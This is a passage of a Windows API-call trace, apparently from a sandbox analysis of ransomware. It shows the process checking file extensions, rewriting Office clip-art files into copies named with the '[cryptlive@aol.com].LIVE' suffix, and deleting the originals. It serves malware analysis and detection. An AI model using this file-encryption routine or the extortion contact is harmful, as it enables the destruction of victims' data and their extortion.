[0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.227] lstrlenW (lpString=".doc") returned 4 [0140.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString=".docx") returned 5 [0140.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.227] lstrlenW (lpString=".pdf") returned 4 [0140.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.227] lstrlenW (lpString=".xls") returned 4 [0140.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.227] lstrlenW (lpString=".xlsx") returned 5 [0140.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.227] lstrlenW (lpString=".ppt") returned 4 [0140.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.228] lstrlenW (lpString=".zip") returned 4 [0140.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.228] lstrlenW (lpString=".rar") returned 4 [0140.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.228] lstrlenW (lpString=".bz2") returned 4 [0140.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.228] lstrlenW (lpString=".7z") returned 3 [0140.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.228] lstrlenW (lpString=".dbf") returned 4 [0140.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.228] lstrlenW (lpString=".1cd") returned 4 [0140.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 63 [0140.228] lstrlenW (lpString=".jpg") returned 4 [0140.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.228] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.228] lstrlenW (lpString="BS01634_.WMF") returned 12 [0140.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.249] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3494) returned 1 [0140.249] CloseHandle (hObject=0x3a8) returned 1 [0140.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0140.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.280] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.280] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.280] GetLastError () returned 0x0 [0140.280] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xda6, lpOverlapped=0x0) returned 1 [0140.296] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0140.297] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.297] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.297] SetEndOfFile (hFile=0x388) returned 1 [0140.298] CloseHandle (hObject=0x388) returned 1 [0140.298] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.298] SetEndOfFile (hFile=0x390) returned 1 [0140.300] CloseHandle (hObject=0x390) returned 1 [0140.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0140.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.301] lstrlenW (lpString=".doc") returned 4 [0140.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.301] lstrlenW (lpString=".docx") returned 5 [0140.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.301] lstrlenW (lpString=".pdf") returned 4 [0140.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.301] lstrlenW (lpString=".xls") returned 4 [0140.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.301] lstrlenW (lpString=".xlsx") returned 5 [0140.301] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.301] lstrlenW (lpString=".ppt") returned 4 [0140.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.301] lstrlenW (lpString=".zip") returned 4 [0140.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.301] lstrlenW (lpString=".rar") returned 4 [0140.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".bz2") returned 4 [0140.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".7z") returned 3 [0140.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString=".dbf") returned 4 [0140.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString=".1cd") returned 4 [0140.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString=".jpg") returned 4 [0140.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString=".doc") returned 4 [0140.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".docx") returned 5 [0140.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.302] lstrlenW (lpString=".pdf") returned 4 [0140.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".xls") returned 4 [0140.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.302] lstrlenW (lpString=".xlsx") returned 5 [0140.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.302] lstrlenW (lpString=".ppt") returned 4 [0140.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.302] lstrlenW (lpString=".zip") returned 4 [0140.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.302] lstrlenW (lpString=".rar") returned 4 [0140.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString=".bz2") returned 4 [0140.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString=".7z") returned 3 [0140.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.303] lstrlenW (lpString=".dbf") returned 4 [0140.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.303] lstrlenW (lpString=".1cd") returned 4 [0140.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0140.303] lstrlenW (lpString=".jpg") returned 4 [0140.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.303] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.303] lstrlenW (lpString="BS01637_.WMF") returned 12 [0140.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.303] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3948) returned 1 [0140.304] CloseHandle (hObject=0x390) returned 1 [0140.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0140.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.304] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.304] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0140.305] GetLastError () returned 0x0 [0140.305] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xf6c, lpOverlapped=0x0) returned 1 [0140.376] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xf70, lpOverlapped=0x0) returned 1 [0140.377] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.377] WriteFile (in: hFile=0x388, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.377] SetEndOfFile (hFile=0x388) returned 1 [0140.377] CloseHandle (hObject=0x388) returned 1 [0140.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.377] SetEndOfFile (hFile=0x390) returned 1 [0140.380] CloseHandle (hObject=0x390) returned 1 [0140.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.381] lstrlenW (lpString=".doc") returned 4 [0140.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString=".docx") returned 5 [0140.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.381] lstrlenW (lpString=".pdf") returned 4 [0140.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString=".xls") returned 4 [0140.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.381] lstrlenW (lpString=".xlsx") returned 5 [0140.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.381] lstrlenW (lpString=".ppt") returned 4 [0140.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.381] lstrlenW (lpString=".zip") returned 4 [0140.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.381] lstrlenW (lpString=".rar") returned 4 [0140.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString=".bz2") returned 4 [0140.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString=".7z") returned 3 [0140.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.381] lstrlenW (lpString=".dbf") returned 4 [0140.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.381] lstrlenW (lpString=".1cd") returned 4 [0140.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".jpg") returned 4 [0140.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".doc") returned 4 [0140.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString=".docx") returned 5 [0140.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.382] lstrlenW (lpString=".pdf") returned 4 [0140.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString=".xls") returned 4 [0140.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.382] lstrlenW (lpString=".xlsx") returned 5 [0140.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.382] lstrlenW (lpString=".ppt") returned 4 [0140.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".zip") returned 4 [0140.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.382] lstrlenW (lpString=".rar") returned 4 [0140.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString=".bz2") returned 4 [0140.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString=".7z") returned 3 [0140.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".dbf") returned 4 [0140.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".1cd") returned 4 [0140.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0140.382] lstrlenW (lpString=".jpg") returned 4 [0140.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.383] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.383] lstrlenW (lpString="CG1606.WMF") returned 10 [0140.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.884] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3564) returned 1 [0140.884] CloseHandle (hObject=0x390) returned 1 [0140.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0140.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0140.885] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.885] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0140.885] GetLastError () returned 0x0 [0140.885] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xdec, lpOverlapped=0x0) returned 1 [0140.887] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0140.888] ReadFile (in: hFile=0x390, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.888] WriteFile (in: hFile=0x38c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0140.888] SetEndOfFile (hFile=0x38c) returned 1 [0140.888] CloseHandle (hObject=0x38c) returned 1 [0140.888] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.888] SetEndOfFile (hFile=0x390) returned 1 [0140.890] CloseHandle (hObject=0x390) returned 1 [0140.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.891] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0140.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.891] lstrlenW (lpString=".doc") returned 4 [0140.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.891] lstrlenW (lpString=".docx") returned 5 [0140.891] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0140.891] lstrlenW (lpString=".pdf") returned 4 [0140.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.891] lstrlenW (lpString=".xls") returned 4 [0140.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.891] lstrlenW (lpString=".xlsx") returned 5 [0140.891] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0140.891] lstrlenW (lpString=".ppt") returned 4 [0140.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.891] lstrlenW (lpString=".zip") returned 4 [0140.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.891] lstrlenW (lpString=".rar") returned 4 [0140.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.891] lstrlenW (lpString=".bz2") returned 4 [0140.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString=".7z") returned 3 [0140.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".dbf") returned 4 [0140.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".1cd") returned 4 [0140.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".jpg") returned 4 [0140.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0140.892] lstrlenW (lpString=".doc") returned 4 [0140.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString=".docx") returned 5 [0140.892] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0140.892] lstrlenW (lpString=".pdf") returned 4 [0140.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.892] lstrlenW (lpString=".xls") returned 4 [0140.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.892] lstrlenW (lpString=".xlsx") returned 5 [0140.892] lstrcmpiW (lpString1=".xlsx", 